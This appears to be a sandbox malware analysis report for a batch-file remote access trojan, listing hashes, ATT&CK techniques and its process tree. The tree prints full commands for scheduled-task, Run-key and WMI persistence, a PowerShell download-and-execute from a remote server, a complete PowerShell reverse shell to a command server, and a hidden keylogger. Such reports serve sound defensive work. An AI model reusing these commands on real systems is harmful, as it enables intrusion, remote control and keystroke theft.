074ac444b11dcb17eacbf842ea90a907b6a901bd813612533aa0d5645bcc793d

Analysis

max time kernel
149s
max time network
124s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
29/05/2026, 19:23

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General

Target
rat_build_66243_014232.bat
Size 4KB
Sample260529-x3tkysft3m
SHA256 074ac444b11dcb17eacbf842ea90a907b6a901bd813612533aa0d5645bcc793d
MD5 8578d877f8f571f350a587d4892c70dd
SHA1 8c4b21b8719745f0f9d0c78dc067e1492dfb61a4
SHA512 21049860d35969abffad568c48d0d4f57d6ecc64f8b19e30c5ae4f68588699fbe504f4c7ecf0ae81ebc0517aa0e3a77e759d7a57074d7e94f901aff566100a4c
SSDEEP 96:/IsMWqSZoIK8WkuLTGQO8fbPV96kqufwIDVgdf7iFgZk8mvlo10xa:/jqSZoIaSQO8zXSufwWV8iFgkHlDxa
TLSH
T10FA11A17539B6A2099B0191DDD7239585B2CE9FB2340CADEEA48CCC50B0CF43956DAE7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_66243.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3800	powershell.exe
4272	powershell.exe
1468	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2043432456-1617298091-2772621413-1000\Software\Microsoft\Windows\CurrentVersion\Run\Updater_66243 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_66243.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
1096	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
1136	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1672	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4580	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3800	powershell.exe
3800	powershell.exe
4272	powershell.exe
4272	powershell.exe
1468	powershell.exe
1468	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	1932	WMIC.exe
Token: SeSecurityPrivilege	1932	WMIC.exe
Token: SeTakeOwnershipPrivilege	1932	WMIC.exe
Token: SeLoadDriverPrivilege	1932	WMIC.exe
Token: SeSystemProfilePrivilege	1932	WMIC.exe
Token: SeSystemtimePrivilege	1932	WMIC.exe
Token: SeProfSingleProcessPrivilege	1932	WMIC.exe
Token: SeIncBasePriorityPrivilege	1932	WMIC.exe
Token: SeCreatePagefilePrivilege	1932	WMIC.exe
Token: SeBackupPrivilege	1932	WMIC.exe
Token: SeRestorePrivilege	1932	WMIC.exe
Token: SeShutdownPrivilege	1932	WMIC.exe
Token: SeDebugPrivilege	1932	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1932	WMIC.exe
Token: SeRemoteShutdownPrivilege	1932	WMIC.exe
Token: SeUndockPrivilege	1932	WMIC.exe
Token: SeManageVolumePrivilege	1932	WMIC.exe
Token: 33	1932	WMIC.exe
Token: 34	1932	WMIC.exe
Token: 35	1932	WMIC.exe
Token: 36	1932	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1932	WMIC.exe
Token: SeSecurityPrivilege	1932	WMIC.exe
Token: SeTakeOwnershipPrivilege	1932	WMIC.exe
Token: SeLoadDriverPrivilege	1932	WMIC.exe
Token: SeSystemProfilePrivilege	1932	WMIC.exe
Token: SeSystemtimePrivilege	1932	WMIC.exe
Token: SeProfSingleProcessPrivilege	1932	WMIC.exe
Token: SeIncBasePriorityPrivilege	1932	WMIC.exe
Token: SeCreatePagefilePrivilege	1932	WMIC.exe
Token: SeBackupPrivilege	1932	WMIC.exe
Token: SeRestorePrivilege	1932	WMIC.exe
Token: SeShutdownPrivilege	1932	WMIC.exe
Token: SeDebugPrivilege	1932	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1932	WMIC.exe
Token: SeRemoteShutdownPrivilege	1932	WMIC.exe
Token: SeUndockPrivilege	1932	WMIC.exe
Token: SeManageVolumePrivilege	1932	WMIC.exe
Token: 33	1932	WMIC.exe
Token: 34	1932	WMIC.exe
Token: 35	1932	WMIC.exe
Token: 36	1932	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4740	WMIC.exe
Token: SeSecurityPrivilege	4740	WMIC.exe
Token: SeTakeOwnershipPrivilege	4740	WMIC.exe
Token: SeLoadDriverPrivilege	4740	WMIC.exe
Token: SeSystemProfilePrivilege	4740	WMIC.exe
Token: SeSystemtimePrivilege	4740	WMIC.exe
Token: SeProfSingleProcessPrivilege	4740	WMIC.exe
Token: SeIncBasePriorityPrivilege	4740	WMIC.exe
Token: SeCreatePagefilePrivilege	4740	WMIC.exe
Token: SeBackupPrivilege	4740	WMIC.exe
Token: SeRestorePrivilege	4740	WMIC.exe
Token: SeShutdownPrivilege	4740	WMIC.exe
Token: SeDebugPrivilege	4740	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4740	WMIC.exe
Token: SeRemoteShutdownPrivilege	4740	WMIC.exe
Token: SeUndockPrivilege	4740	WMIC.exe
Token: SeManageVolumePrivilege	4740	WMIC.exe
Token: 33	4740	WMIC.exe
Token: 34	4740	WMIC.exe
Token: 35	4740	WMIC.exe
Token: 36	4740	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4740	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 5248 wrote to memory of 4580	5248	cmd.exe	81
PID 5248 wrote to memory of 1672	5248	cmd.exe	82
PID 5248 wrote to memory of 1932	5248	cmd.exe	83
PID 5248 wrote to memory of 4740	5248	cmd.exe	84
PID 5248 wrote to memory of 4100	5248	cmd.exe	85
PID 5248 wrote to memory of 1136	5248	cmd.exe	86
PID 5248 wrote to memory of 1096	5248	cmd.exe	90
PID 5248 wrote to memory of 3800	5248	cmd.exe	91
PID 5248 wrote to memory of 4272	5248	cmd.exe	92
PID 5248 wrote to memory of 1468	5248	cmd.exe	93

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_66243_014232.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:5248
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_66243" /tr "C:\Users\Admin\AppData\Local\Temp\_66243.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4580
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_66243" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_66243.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:1672
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_66243", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1932
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_66243", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_66243.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4740
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_66243.txt
  2⤵
  PID:4100
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:1136
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:1096
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_66243.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3800
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4272
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1468

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
MD5 5f4c933102a824f41e258078e34165a7
SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
TLSH
T15651CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 fd949ff64bc93b6bcff447de4f7307dbd4cfb391faf81efe2a845f8349d9b10c
MD5 8a9ce637f47cb4acdbef782b0c075292
SHA1 61c4f0209f159fae19220a78c4428848c90d0e01
SHA512 6452ea5fff0d3139dd61de41cb37738a228bd13f7b039aa519acb8ab5f2084c10473415f0d3631a68829e81da3dc6018e37cff3618c48ae358c9a94fa91eb122
TLSH
T1B7117A33B79CC134C8D9117A108DAD01B2B5C3CB049EDE8B7A84C508E57F58ADB641E4
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 fd74a3b1fbe0b18f1d9c0b0b92514b904a55f3c324ebbbabc082a1e324bd920f
MD5 971d0d0c22d7d3beb2bf762514214071
SHA1 12077aa582d79a9e2c12edf4d688f3b7684b8fec
SHA512 01ee08520bc893458740bf0b9c7aa1d9db53bc0996af3737108014047465451a11e353500e1d4717b336b1955bc23b5f1576619b9803ab1c5987385799a6b488
TLSH
T13D11BA33F39CC174C8D5117A108DAD01B2B1C3CB009EDECB7A84C408E57F58ADB641A4
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_0rlmue31.0kw.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0rlmue31.0kw.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/3800-3-0x000001CBFE3E0000-0x000001CBFE402000-memory.dmp

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